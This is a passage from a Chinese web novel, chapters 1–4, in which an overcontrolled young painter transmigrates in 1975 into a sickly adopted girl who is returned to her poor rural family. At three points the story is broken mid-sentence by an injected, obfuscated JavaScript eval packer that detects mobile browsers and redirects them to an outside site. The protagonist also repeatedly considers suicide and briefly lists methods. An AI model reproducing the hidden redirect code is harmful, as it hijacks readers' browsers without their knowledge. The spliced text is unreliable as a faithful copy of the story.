《病美人嫁给狼老公[年代文]》 1. 病秧子X狼少年 “你怎么能偷改志愿!真是太伤我心!” 随着一声呵叱,大学录取通知书被撕成了一片片,雪花一般自头顶上飘落。 “不要!” 徐知画双手在空中胡乱抓握,抓住纸片就像抓住了救命稻草,颤抖着想要拼凑完整。 “我都是为了你好,你怎么那么不懂事!做妈的还会害女儿吗?!” 看到徐知画这副不知悔改的模样,徐钰燕眼神冷冽,怒火燃烧了理智,手化作钳子使劲拧着她身上的肉,骂骂咧咧: “翅膀硬了,我管不了你了是不是?这辈子你想离开我?想都别想!接下来我会安排你复读的事。” 徐知画倒在地上蜷缩着身子,双眼紧闭满是绝望,分不清是身体痛一点还是精神痛一点,几近崩溃。 好想死。 “想死滚远点,又是这副死模样吓唬谁?” 一道陌生且刻薄的声音突然落入耳膜。 徐知画眼前发黑,胸口像压了一块大石头,喘不过气来,抑制不住的恶心感阵阵涌来,呼吸越来越急促,濒临死亡的感觉从来没有哪一刻像现在这般清晰。 “妈,这次她不像是装的,真发病了!” “真是个扫把星,最后一天还找麻烦。珍珍,快,去叫德叔借板车,赶紧送这个短命鬼去医院。” 徐知画迷迷糊糊着睁开眼,一个陌生的中年妇女气哼哼着将她背起来。 思维变得迟缓而混乱,眼皮沉重如铅,徐知画仿佛跌进一个无底的深渊。 渐渐的,她什么都看不见,晕了过去。 * 徐知画的妈妈徐钰燕本是个富家千金,为了摆脱家族联姻、追求自以为是的浪漫爱情,被人做局认识了口蜜腹剑的混混爸爸,未婚先孕气得父母和她断绝亲子关系。 混混爸爸见无利可图,终于露出真面目,稍有不顺心就对她拳打脚踢,后在一次交通事故中意外丧生,徐钰燕幡然醒悟,回头是岸跪求父母原谅,自此封心锁爱。 然而见昔日闺友一个个在父母的保驾护航下,生活幸福美满,嫉妒的种子在徐钰燕的心里扎根发芽,春风吹过般一下子长成了参天大树。 有些女人的友谊就是这么奇怪,明明不喜欢对方,见面时却还会保持笑容,说些心知肚明、明捧暗讽的漂亮话,做戏似的。 大多数时候,在贵妇圈聚会中,徐钰燕都是被嘲讽拿来活跃气氛的那个。 就这样春去冬来,岁月匆匆,局面在不知不觉中发生了扭转—— 在徐知画3岁那年,世界级绘画大师齐宁来家里做客,发觉她有极高的绘画天赋,随手的涂鸦惟妙惟肖,灵动传神,后将几幅作品拿去参赛,都获得了不错的名次和赞誉。 徐钰燕第一次正视这个象征着人生污点的女儿,一个念头浮起,从那天后,她就为培养绘画神童做宣传,更是将女儿改名为【徐知画】。 一场场巡回画展让徐知画名声大噪,凭借大胆且极具想象力的画技和精致可爱的容貌,加上自媒体的兴起,更是让她迅速获得广大粉丝的喜爱,还被邀请去录综艺,获得“国民闺女”的称号。 财富和声誉滚滚而来,再无人取笑徐钰燕蠢笨无脑无名无份跟一个野男人未婚先孕的事,转而夸她是教女有方。 然沟壑难填,徐钰燕开始将全部精力放在培养徐知画的身上,事事要求尽善尽美,德智体美劳全面发展,稍有懈怠,迎接她的将是翻倍折磨。 每天徐知画就像是上了发条的钟表,不是在学习就是在被徐钰燕拉去名利场展示才艺的路上,哪怕交朋友,也是因为有用。 徐知画自认为做得很好了,但徐钰燕永远不会满意,特别是每当看到死对头的儿子又获得了什么什么奖,转头就会更加严厉地要求她更努力。 徐知画是个努力型选手,而对手是天赋型选手,虽说有时考试能险胜一二,但还要担忧下次能不能继续获胜。 没完没了地比来比去,真心累啊! 填报高考志愿时,徐钰燕要她报考本市的大学,徐知画表面答应得好好的,转头就报了一个离家坐飞机要10个小时的美院. 想着以后山长水远,她可以像鸟儿一样挣脱牢笼,放飞自我,自由了! 于是就有了开头这一幕,当看到大学的录取通知书,徐钰燕暴跳如雷,当场撕碎。 女儿想要脱离她的掌控,在她看来是背叛,不能容忍。 徐钰燕总是说爱她才这样,可是爱怎么会让人痛苦呢? 一想到这辈子都要这样,徐知画顿感人生无望。 * 叽里呱啦的说话声先吵醒了耳朵,半梦半醒间,徐知画努力抬起沉重的眼皮,几个身影模模糊糊映入眼帘。 她定了定睛,发现是在医院,浓郁的药味充斥在鼻翼间,不由得叹了口气,对于自己还活着这个事实感到一阵失望。 “……她自小身子骨不好,次次看病吃药,花销可不是一笔小数目,养这么大没功劳也有苦劳,今儿你们一来就指责我们,未免太伤人心。”陈彩霞眼泪说来就来,好似受了天大的委屈。 “不是指责,只是看到龟妹瘦得就剩一把骨头了,说话急了点,您别计较。”池清荷赔笑着将一叠用布包起来的钱票塞到陈彩霞的手上,说,“当年多亏您家肯收养,龟妹才能活到现在,我们是知数感恩的,小小心意还请笑纳。” 陈彩霞掀开布看了看,脸色好了点,也愿意给个笑容,悠悠道:“她体质就是这样,吃再多也不见长肉,又挑食,这些年若不是养在我们家,怕早早折了去。” 陈彩霞又拉进了一点距离,恨铁不成钢般下眼药水告状:“有些孩子天生是坏种,这话是有一定道理的。我们自小就教育孩子要把心思放在正途上,哪知她小小年纪就卖弄风骚,还勾得一个男同学为她大打出手,被人告状上门,真是羞得没脸见人,还好我珍珍没有学了去。” “我这人性子比较直,说话不好听别介意。”见对面两人面色不虞,陈彩霞装出十分好心的样子,继而说:“我建议回乡下后,你们赶紧给她找个婆家,提醒她多注意男女作风问题,不然到时出了问题,被人举报,那真是后悔都来不及。” “这就不劳你费心。”徐敬荣没好气道。 陈彩霞和她亲生女儿倒是吃得肥头大耳,面色红润,身上的衣服光鲜亮丽,再对比起现在躺在病床上瘦骨嶙峋的龟妹,要说她有被好好照顾,徐敬荣真不信,所以连她的告状都有存疑。 “反正我家婆已经仙逝,知画这次下乡也算是全了养育之恩,以后两家没必要再走动,穷亲戚不要脸打秋风惯了,我可不想一直当冤大头。” 这话说得一点儿都不留情面,陈彩霞目露讥讽,将姿态摆得高高的,生怕他们像蚂蝗一样吸附上来吸血的一般。 “放心,我们以后就是要饭,也不会从你家门前经过。”徐敬荣冷冷怼了回去,暗悔应该早点来接龟妹回去的,寄人篱下不知受了多少委屈。 “呵,你们最好说到做到。”他这么有【志气】,陈彩霞松了口气,能甩掉这个包袱就好。 就这些泥腿子,陈彩霞没觉得他们这辈子会有什么造化,没必要交好,要不是家婆迷信,相信知画这个死妮子会给家里带来好运才一直养着,她早早就将人撵回乡下了。 “狗眼看人低,当初是你家婆好说歹说留下龟妹,我们也没想着打秋风……”池清荷暗道钱票给早了,现在不想给了能不能抢回来。 “哼,你们有什么好值得我瞧得起的,我家婆是老糊涂要收留一个病秧子,我可不傻,谁稀罕那点瓜果蔬菜。”陈彩霞见池清荷盯着未捂热的钱票,赶紧揣进兜里,警惕道,“当然,这点钱抵不上知画的抚养费,但算是一点补偿,给出去可没有再还回去的道理。” 像是怕钱票被抢回去,陈彩霞后退了几步,眼珠一转,见知画不知道什么时候已经醒过来,睁着一双圆溜溜的大眼睛,她走过去,幸灾乐祸般道: “知画啊,以后你就不是我家的女儿了,他们才是你真正的亲人,回到乡下后,安安分分找个老实男人嫁了得了,别再没皮没脸做些攀高枝的白日梦。” “这位大婶,我们认识吗?”徐知画是真的很迷惑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563769|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们说的话她每一句都听得懂,但都是些什么乱七八糟的,脑海中没有与这些人来往的记忆啊。 陈彩霞“嗤”了声,以为她是觉得找到靠山胆子变大起来,都会装傻充愣撇清关系了,虽说是不想让他们攀附占便宜,但看对方没有一丝留恋又是另外一回事。 她心里不得劲,走时也要丢下一句“果然是养不熟的白眼狼。”膈应,才扭着好大一只屁股斗胜公鸡般出了门。 徐敬荣看着她的背影,黑眸微眯,手握成拳,浑身上下散发着浓浓的戾气。 “你好,请问有看到我妈吗?”徐知画见那个男人阴沉着脸,像在筹谋着什么坏主意,看向旁边那个脾气好一点的女人问道。 她想着就算撕了通知书,但好在证明身份后还是能上大学,到时让外公外婆出面帮忙和妈妈沟通看看吧。 看这一男一女的穿着打扮,深蓝色工装加黑布鞋,年代感十足,说是在演戏吧也没见有摄像机和工作人员,奇奇怪怪的。 “龟妹,妈在乡下呢。”徐敬荣的表情一瞬间由阴转晴,变脸之快好比六月天,似乎为了表达友好,扬着比向日葵还灿烂的笑容走过来,说,“自我介绍一下,我是你的亲大哥徐敬荣,她是你大嫂池清荷,我们是来接你回家的。” 徐知画皱了皱眉:“你们认错人了吧。” 徐钰燕怎么可能会去乡下,而且她是独生女,哪里突然冒出来的亲哥哥。 顷刻间,徐知画想到了什么阴谋诡计或者是恶作剧。 “我真是你哥。”徐敬荣也知道这个信息太过突然,但事实就是如此。 一段前尘往事就此娓娓道来—— 他们的家在偏远且穷困的徐家村,祖上世代为农,爸妈一共生养了四男一女,守着一亩三分地养家糊口,徐知画是在全家人的期盼中出生的。 然而,一次意外导致妈妈早产,徐知画刚出生时孱弱得像是一只老鼠,后来又被查出有心脏病,一家人是砸锅卖铁也不愿放弃治疗。 眼见实在是走投无路,就在大家做最坏打算时,一个婆婆出现在医院,说愿意出钱出力为龟妹治疗,想要收养她,而且说起两家同姓,几百年前很有可能是同一祖宗的渊缘。 那时婆婆一再强调说和龟妹有缘,她的儿媳迟迟怀不上,想要个孩子宽慰陪伴在身边,并再三保证一定会对龟妹好,爸妈又专程去城里考察了一番婆婆的家庭情况,确认所说相符,才愿意将孩子送给她养。 婆婆还说怕龟妹知道是收养的心里有疙瘩,就不要揭穿她的身世,如果爸妈不放心,每月可以以亲戚的名义来探望一次。 这些年来,只要爸妈去看望龟妹,都会尽己所能,有物给物有钱给钱,算是一点小心意。 后来得知婆婆的儿媳陈彩霞怀孕生子后,爸妈也曾提议接回龟妹,但是婆婆还是保证说不会亏待龟妹,孩子养出感情了,也就不了了之。 哪知婆婆去世后,陈彩霞就火急火燎写信通知爸妈来接龟妹回去,说不想家里再多个病秧子吃白饭。 自家孩子自家疼,爸妈倒想飞奔过去接回龟妹,但因为双抢走不开,又想到徐敬荣和媳妇也要休假回来,就叫他们顺便接去接人了。 兄妹相见不相识也正常。 怪异。 他认真的样子真不像是在开玩笑。 徐知画能清晰地感受到身体不如以往,就像是内里已经有部分腐烂的枯木,无力、虚弱、疼痛,是她现在的感觉。 生机在慢慢流逝。 徐知画抬起一只手看,好奇怪,这不是她的手,瘦小无力,薄薄的一层皮里,青筋明显,掌心还有一些茧。 荒诞无稽。 在徐知画的认知里,她只是在和妈妈的争执中情绪激动晕了过去,醒过来自己怎么就不是自己了呢? “我是谁?”徐知画反手指着自己。 “你是我龟妹,大名叫徐知画。”徐敬荣不知她为何如此问,但还是老实作答。 徐知画的视线移到桌面的搪瓷杯上,不安地问道:“现在是什么年代?” “1975年。” 2. 病秧子X狼少年 说出【1975】这组数字像摁下了时间按钮,无数个记忆片段犹如放电影般在脑海轮播。 头痛欲裂。 像是有一根长棒在颅内将脑神经拨过来挑过去,搅成一个漩涡又打成结,痛得她面容煞白,四肢痉挛,冷汗直冒。 “医生!医生!” 看着她一副要痛死过去的模样,徐敬荣大惊失色,尖锐的嗓音几乎破了音,如射出的箭般夺门而出。 很快,医生被架着来到病床旁,一系列的操作后,徐知画慢慢平复呼吸缓过来。 “病人的情绪起伏不能太过剧烈,有什么事好好说好好解决,不能再受刺激了。”医生看向徐敬荣,叮嘱道,“病人身体长期亏损严重,需要补充营养滋补,这方面家属多注意。” 徐敬荣连连点头。 徐知画是医院的常客了,医生多多少少知道点这小姑娘的身世,之前的家人虽说愿意出钱救治,但却没多少关爱之意,吊着一条命就行,现在她真正的哥哥看起来是个可靠的,但愿不是做戏,命运多眷顾点这可怜的小姑娘。 这年头,女孩贱如草,可不好活啊,可惜他有怜悯之心,却无救助之力。 医生叹着气走了。 见龟妹闭上眼睛像是睡着了,池清荷朝徐敬荣“嘘”了声,两人蹑手蹑脚出去了。 再次听到关门声,徐知画缓缓睁开眼睛,表面云淡风轻,内心早已风起云涌,恨不得化身大猩猩朝游客扔粑粑以宣泄心情。 夭寿啦! 她这是穿越了?! 魂穿,原身不知道去哪儿了。 这具身体的主人也叫徐知画,据说这是一个大师取的,自有记忆起在家里地位最低等,睡的是杂物间,吃的是剩饭剩菜,洗衣做饭扫地等是做家务的好手。 偏这家人虚伪且又好面子,若有人问起“怎么让孩子干那么多活?”,就捧夸她懂事贴心,还要她主动跟人说是自己想分担家务。 有时消耗体力过大的劳动会引发心脏病,偏陈彩霞见不得她闲,后来又真怕她死了,还要送医院花钱,又换来几顿骂。 而徐知画有个相差两岁的妹妹,名叫徐宝珍,从小到大她听的最多的就是“你是姐姐,要让让妹妹。” 徐宝珍仗着家人的宠爱,明里暗里给她吃了很多苦头,但徐知画也不是好惹的,她会攒着仇一笔一笔记在本本上,然后找一个合适的时机,或制造不在场证明或借刀搞事,神不知鬼不觉狠狠报复回去。 现在两人都在泽立中学读高中,因为吃不饱和没有钱买一些必需的生活用品,徐知画凭借自己还拿得出手的美貌,结交了一些有钱“朋友”,帮忙跑腿或者做作业以换取酬劳。 她还在鱼塘精心挑选了三个潜力股想培养当老公,可惜有一个男生徐宝珍也看上了,眼见男生越来越在意徐知画,生性放荡不羁却甘愿为她鞍前马后,这真让人生气! 嫉妒的情绪像是膨胀的气球,一天天变大,终于有一天,气球达到极限,“嘭”爆炸开来。 徐宝珍再忍无可忍,略施手段让三个男生都知道了彼此的存在,于是他们齐齐上门讨要说法,想知道徐知画究竟对哪个有意。 得知翻车的那一刻,徐知画很快调整好表情,义正言辞表明对他们都是同学校友之间的互助互爱,不存在爱慕之心,好在之前也没有做出什么出格的举动,那些似是而非的话是他们回错了意。 男生们吃了个哑巴亏,自是不肯轻易放过她,自此她的校园生活变得水深火热起来。 而家里人对她更是百般看不顺眼,责骂张口就来。 后来上面要求知青下乡,徐婆婆却一反常态想报上徐宝珍的名,陈彩霞当然舍不得女儿去吃那个苦,婆媳闹腾了很久。 僵持不下之际,谁知一场小感冒,徐婆婆吃了多少药都不管用,没多久就去阎王爷那报到了。 陈彩霞头顶的那座大山终于移开,哭哭啼啼搞完葬礼后,整个人支棱起来,第一时间就是去知青办将徐知画的名字报上。 又告知她只是收养的女儿,现在该是报答的时候了。 也是那天,徐知画才明白为何以前自己做再多、做得再好也不得家人们的夸奖与疼爱。 好在,她早已习惯了被讨厌、被区别对待,所以即使得知这个真相并没有很伤心。 只是,在某个夜深人静的时候,她对未来感到迷茫,不知何去何从,就像是一片落在溪流里的叶子,随波逐流,不知道会遇到什么险境,命运又会将她带去何方。 对于那个将她送人的原生家庭,徐知画也没有期待,只当是跳出一个虎窝,又掉进一个狼窝,不知道什么时候,就会将她吞噬干净。 在这个年代,男孩子是金疙瘩,女孩子生下来就淹死或丢掉的不在少数,毕竟人在描述的时候总爱美化自己的品行。 徐知画更愿意相信是亲生父母不想要她这个累赘,不是迫不得已,不是以为她好的名义给别人养。 她现在下乡,对两家来说是双赢的局面吧。 其一:徐宝珍不用吃种地的苦; 其二:穷苦人家的男人会让姐妹通过换亲的方式娶上一个媳妇,而她现在也差不多到结婚的年龄,中途就算病死了,尸体还能用来配冥婚,是一笔不会亏本的买卖。 这是一个吃人的社会,特别是吃女人的社会。 在这出门都要介绍信的时代里,徐知画逃无可逃,天地之大,哪里都是牢笼。 命运总是这样,但你觉得生活糟糕透顶时,还会再狠狠一击,告诉你这个倒霉蛋,还要更糟糕的。 徐知画不知道是因为什么契机来到了这个年代,她是想逃脱妈妈的掌控,但不是以跨时空这种方式。 在科技日新月异的二十一世纪,徐知画的高中同桌是个资深的小说迷,荤素不忌,课间的时候,喜欢和前桌或后排分享喜欢的大大和讨论剧情。 不可避免的,徐知画多多少少听了几耳朵,什么医生凭借金手指在古代混得风生水起,助力王爷登顶皇位后,享尽宠爱; 又什么社畜猝死后,身怀系统或身穿或魂穿在异世搞钱搞事业,美男见一个收一个,夜夜当新娘…… 越狗血越上头,越离经叛道越引人入胜。 所以徐知画怀疑自己是不是穿进某一本小说了,奈何之前她读的都是名著,若早知道有这一出,她一定全网搜索有关自己名字的小说,并全文背诵以做准备。 何至于现在一脸懵,满头黑线。 脑洞加载ing—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563770|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许来到这里,就是上天想要改变徐知画的命运,乘风破浪活出精彩,她会是天道之女吗? 就像天之骄子召唤神龙,徐知画在心底默念:【系统,统统,啊统……】 周遭静悄悄,没出现什么金手指,没有空间也没有灵泉。 难道是默念的方式不对? 徐知画回忆起之前曾无意看到别人跳大神的画面,起身照葫芦画瓢舞动着手势,念念有词:“系统,现身!” “统统,出来!” “阿统,天灵灵地灵灵,变!” 还没跳一会儿,体力就跟不上了,徐知画只好停下来歇息。 一转头,就看到池清荷不知道什么时候来了,目瞪口呆地看着她。 “龟妹,新鲜出炉的肉包子,趁热吃?”池清荷以为因为知道身世,她受刺激了,才会做出奇奇怪怪的动作,问得小心翼翼。 看着白花花的肉包子,徐知画下意识咽了咽口水,肚子不合时宜地“咕咕”唱起了空城计。 “谢谢。”徐知画不自在地接过包子。 不管他们有何阴谋诡计,现在填饱肚子是紧要。 徐知画出院后,徐敬荣和池清荷带她去供销社大包小包买了很多东西,像是要补偿她似的,只要多看两眼,都会毫不犹豫,买! 现在物质真是匮乏啊,有钱还不行,买东西基本靠抢,柜台里的售货员爱答不理的,问多两句还不乐意,摆出一副臭脸骂人。 徐知画本想理论一番,可还没说两句,就被人挤出去了,一个不稳,眼见就要摔倒,徐敬荣提溜起她的衣领到外围,说:“你在这等我。” 转头又挤进去继续抢购。 差评!差评!差评! 要放在现代,徐知画分分钟投诉警告,可现在只有自己生闷气的份,毕竟这年头能当售货员,都是家里有点门路的。 买完东西后,三人往火车站赶,因为怜惜徐知画体弱,徐敬荣和池清荷一人挑着两个扁担走。 虽然混迹在人群里,但徐知画以局外者的视角观察着这个世界。 千篇一律的毫无设计感的衣服、黝黑的脸、赶路的人提着飞禽走兽步履匆匆…… 鸡叫鹅吵、吆喝声、啼哭声、借过声…… 眼睛耳朵都是闹嚷嚷的。 突然,一个包裹被丢到怀里,徐知画下意识接住了。 转头看去,一个身材挺拔表情拽拽看起来很欠揍男生,挑眉道:“徐知画,拿着。” 徐知画面无表情地将包裹丢到地上,头也不回走了。 “徐知画!胆子肥了啊!”陈豫周脸色倏地沉下来,捡起包裹追上去,拽了拽她的马尾,说,“之前你骗我的事,我还没跟你计较,就敢给脸色给我看,呵。” 陈豫周是徐知画的同班同学,也是她平日骗吃骗喝的主要冤大头,更是徐宝珍默默放在心上的男神。 “你是谁?想干什么?”徐敬荣挑着扁担横在两人中间,警惕地看着陈豫周。 “你就是徐知画的亲哥?我是她同学,也是下乡到你们队的知青,以后请多关照。”陈豫周不自觉敛起嬉皮笑脸,正色道。 徐敬荣瞥了一眼龟妹,见她面有不豫之色,于是警告道:“离我妹远点。” 3. 病秧子X狼少年 “借过。” “让让。” “小心。” 五湖四海的人聚在小小的车厢里,或坐或站,摩肩接踵,什么体面什么优雅,在这里通通不复存在。 找个座位好比过五关斩六将。 狐臭味、臭脚丫、屎味……各种难闻的味道汇集一起,不经意间吸一口气,简直能把人熏晕过去。 等徐知画终于坐到位置上,感觉命丢了半条,有气无力地用手帕捂着鼻子,浅浅地呼吸着。 本来心情就够郁闷了,偏对面陈豫周嘴巴说个不停,吵得要死,徐知画懒得搭理他,干脆将脑袋靠在池清荷的肩上,眼睛一闭,拒绝攀谈的意味很明显。 坐着好难受,无数次睁眼、闭眼、再睁眼,从白天到黑夜再到黎明,还没到!还是没到啊! 徐知画似乎看到黑白无常来勾魂索命了。 等到达终点站时,徐知画的四肢发软发抖着,然而这还没完,还要再转拖拉机到村。 人就像行李一样,一件一件往拖拉机上扔。 还没等徐知画反应过来,徐敬荣猛地架起她的腋下,一个旋转,稳稳地将她放在一包被子上坐着。 徐知画摸着隐隐作痛的咯吱窝,就是想生气也没有力气。 点好人数后,拖拉机“铿铿锵锵”发动了,没有安全带,经过坑坑洼洼路段时,人就像弹起的球,滞空感一阵又一阵。 徐知画感觉灵魂都要颠出来,说是在凌迟都不为过,没坚持多久,她又晕了过去。 * 好像每一次醒过来都能解锁新地标。 徐知画仰面躺在床上,身上盖着一张孔雀牡丹花棉绸薄被子,带着被阳光晒过的味道,并不难闻。 只是眼前是一个土坯房,墙壁有些斑驳开裂了,房顶有块小天窗,横梁上蜘蛛正辛勤地工作着,一圈又一圈织着网。 徐知画神思恍惚,气息奄奄,好难受,四肢百骸像被人打了一顿,周身疼痛。 要死了吧。 徐知画又睡了过去。 没多久,一阵臭味萦绕在鼻尖,徐知画皱了皱眉,睁开眼,一张脏兮兮的脸放大在眼前。 “姑姑醒啦!姑姑醒啦!” 一个小孩欢叫了一句,炮弹一样冲出去。 没多久,他捧着一个碗小心翼翼地走过来。 “姑姑,喝粥。”小孩舀起一勺粥作势要喂她。 徐知画的视线落在他满是污垢的指甲上,抗拒地偏过头。 “姑姑,肚子饿饿,要喝粥。”小孩牢记大人的嘱咐,要在家照顾好她。 徐知画在想能不能把自己饿死得了。 “姑姑,好好喝的粥哦,你尝尝嘛。”小孩搅拌着粥,阵阵米香味散开,勾醒了肚子里的馋虫,嘴里叨叨,“我好想喝,但这是姑姑喝的,我不能喝,姑姑你为什么不想喝捏,我听见你肚子咕咕叫了……” 徐知画干脆用被子蒙过头,用仅存的意志力和饥饿做斗争。 “姑姑,我喂你吧。” 小孩说完就掀开被子,掰正徐知画的脑袋,拇指和食指捏起嘴巴,一勺粥塞进去。 动作粗暴,一气呵成。 徐知画倒想挣脱开,但是没力气啊,只能是砧板上的鱼肉,任人宰割,而且饿得发昏,食物刚进嘴巴就本能咽了下去。 喂完粥后,小孩用手一抹,嘴巴上残留的粥水被弄干净了,引得她直泛干呕。 差不多过了半个小时,小孩端着一碗药过来,眼见他又要动手,徐知画心一横,深吸一口气,打算一口闷。 “哕~!” 药太苦太难喝了,刚进口她就想吐。 “吃个红枣甜甜。”小孩从兜里掏出一颗干瘪的红枣递过去。 徐知画嫌弃地摇摇头,撇撇嘴道:“我不要喝药。” “不行,你生病了,不喝药不会好的。”小孩态度很坚决。 一副你不喝,我就喂你喝的架势。 徐知画只好捏着鼻子喝完了,又用温白开漱口压下那股药味。 “小孩,这是哪里?” “我家里。”小孩歪着脑袋,手放进嘴巴含着。 徐知画撇开眼,尽量控制着不去联想刚才所吃的东西生产过程,耐着性子问道:“你爸爸妈妈叫什么名字?” “我爸叫徐敬荣,我妈叫池清荷。”小孩说得很大声,继而又补偿道,“我叫狗岁。” 看来是回到农村了,没有再穿越。 人的生理问题真的很难憋住,徐知画犹豫了几下,不好意思开口:“我想上厕所。” “好,我带你去。”狗岁扶起她。 真是奇怪,他看着小小一个,还没有她的腰身高,力气却大得惊人。 出了大门,只见院子旁有棵大树,树下有个男人正埋头编着竹子,狗岁介绍道:“那是康荣叔。” 徐知画点点头,没有说什么,被带着来到角落里的一间用木头搭建的小房子前,还没进去,就闻到了阵阵恶臭。 徐知画停住了脚步。 仿佛前面不是厕所,而是刀山火海。 “进去啊。”狗岁催促道。 实在是憋不住,徐知画咬咬牙,屏住呼吸,刚打开门一看,“哕~!”,恶心得她吐了,转身就走。 “我不要在这里上厕所。”徐知画走远了些,大口大口呼吸着新鲜的空气。 “你好麻烦。”狗岁看着她这副娇气模样,很是嫌弃,但看在她是姑姑,而且又刚回到家的份上,很好脾气地商量着,“那我带你去地里上厕所吧。” “嗯嗯。” 应该没有比这更糟糕的了吧。 狗岁将她带到后院自家的玉米地里,说:“姑姑,你随便拉吧,我在这看风。” 徐知画环顾了下四周,倒没见什么人影,只是…… “你带纸了吗?” “纸?什么纸?”狗岁很疑惑。 “擦屁股的纸。”徐知画说得很羞耻。 “我们擦屁股不用纸。”狗岁三下五除二就地取材,薅来几片玉米叶,“呐。” “这能擦干净吗?”徐知画嘟囔着,然而顾不上矫情,肚子一阵翻涌,大有决堤倾泻之意,她拿过玉米叶,火急火燎地往里冲去。 …… 徐知画回去之后,从头到脚洗了个热水澡才感觉活了过来。 看着镜子里的自己,五官是熟悉的,但皮肤略显苍白,透着一股病气,下巴尖尖,凸显得眼睛比较大,嘴唇也没有一点血色。 看起来就不是一个长命的。 而在现代,徐知画有保持健身的习惯,精力比一般人都要旺盛,平时少有这病怏怏的状态,用别人的话来说,就是自带一种姨妈很正常的美感。 “唉——” 徐知画开始怀念保姆、马桶、飞机、手机、快递…… 她还回得去吗? 或许在明天,她就会死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563771|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 在这个年代,感觉生比死还要困难啊。 夕阳西下,火烧云如同熔金炉倾倒,一团团、一簇簇瑰丽的云彩铺满天际,翻滚着、变幻着,美不胜收。 在地劳作了一天的人们开始归家,说话声、洗手声、走路声…… 小院一下子热闹起来。 “在家有没有照顾好你姑姑?” “有啊,我给她喝粥喝药,还带她去拉屎,又烧水给她洗澡。”狗岁掰着手指数着做过的事。 “这个奖励你的,去分点给你姑姑。”蔡淑芬从兜里掏出一把花生给他。 “好咧!” 不一会儿,“噔噔噔”的脚步声响起,狗岁出现在面前:“姑姑,姑姑,你怎么又在睡觉,有好吃的,快来快来。” 徐知画看向他手中的花生,就这? 没什么兴趣。 “我不要,你吃吧。” 狗岁将花生一分为二放在桌面,说:“那你留着,以后想吃再吃。” 分到手上一人也不过四五颗花生,狗岁吃得津津有味。 他想和姑姑聊聊天,多亲近亲近,但是徐知画爱答不理的态度让他觉得很无聊,于是坐不住跑开了。 此时徐知画思绪乱七八糟的,突然来到这么一个陌生的地方,又和这么一群陌生人生活在一起,不知道该以什么态度去面对。 正想着,突然一只手触上了她的脑门,徐知画冷不丁吓了一跳。 借着昏暗的光线,可以看清是个女人。 “龟妹,身体感觉好点了吗?起来准备吃晚饭了。” 女人的声音里满是关切。 徐知画不自然地躲了躲,“嗯”了声。 一家人将饭桌摆到小院中央已经坐好了,看到徐知画过来,纷纷招呼她吃饭。 水煮鱼、炒青菜、拍黄瓜、鸡蛋汤。 看起来都没什么食欲。 徐知画摸了摸木桌,指腹立马被灰尘粘黑,下意识捻了捻,随后掏出手帕在自己的位置擦了擦才坐下。 这一小小的举动让大家不自在起来。 她身上干干净净,倒显得和这里格格不入。 “龟妹,多吃肉,长高高。”对面一个男生呵呵傻笑着给她碗里夹了一条鱼,随后嗦了一口筷子。 徐知画滞了滞,看着碗里的饭菜,直板板道:“我不吃了。” 正想起身走,旁边的池清荷拉住了她的胳膊,打着圆场:“不吃哪行,我重新给你盛一碗。” 池清荷将鱼夹回给徐安荣,开玩笑道:“这鱼是安荣抓的,安荣自己夹自己吃,也多吃点。” 又将碗里的饭分给了其他人,再重新添一碗。 徐安荣看着徐知画紧皱的眉头和紧抿的唇,感知到她不悦的情绪,意识到龟妹并不喜欢自己夹鱼给她吃。 心情也变得很糟糕。 “大嫂,龟妹是不是不喜欢我?”徐安荣撇着嘴,委屈巴巴的样子。 好似下一秒听到“不喜欢”就要哇哇大哭起来。 徐知画撩起眼皮看了他一眼,这人…… 怎么会因为这个当面告状啊。 “你多跟龟妹玩就喜欢你了,现在你们还不熟。”池清荷安慰道,“现在吃饭,不要说那么多。” 徐安荣觉得这话有道理,决定明天邀请她去摘野果,思绪抛开后,大口大口吃饭。 除了他,这一顿饭,其他人吃得是五味杂陈。 4. 病秧子X狼少年 “唉……” 这是徐知画第数不清多少次叹气,来到这个鬼地方已经有一个星期了。 吃是吃不好,睡是睡不好、拉是拉不好,最基本、最起码的生理需求样样满足不了。 而且这病怏怏的身体,跑一跑跳一跳都要去半条命。 弱,太弱了。 这也是徐知画第数不清多少次想死,可割腕好痛、饿死难受、吊死吓人、撞墙死不知要撞多少下、烧炭中毒没碳…… 若是有安眠药,能在不知不觉中睡死就好了。 想死的念头萦绕不去。 每天醒来,就是叹气一声,然后接着叹气、再叹气、还是叹气…… “唉——”徐知画想着想着又长叹了一口气。 “龟妹,摘野果去不去?” 徐安荣跟猴儿一样蹿到面前,第数不清多少次邀请她。 “不去。” 徐知画有时觉得两人就像是设定走这个剧情的NPC,好似她不答应,他就会一直问下去。 那果子,徐安荣也带回来过,酸酸涩涩的,一点儿都不好吃。 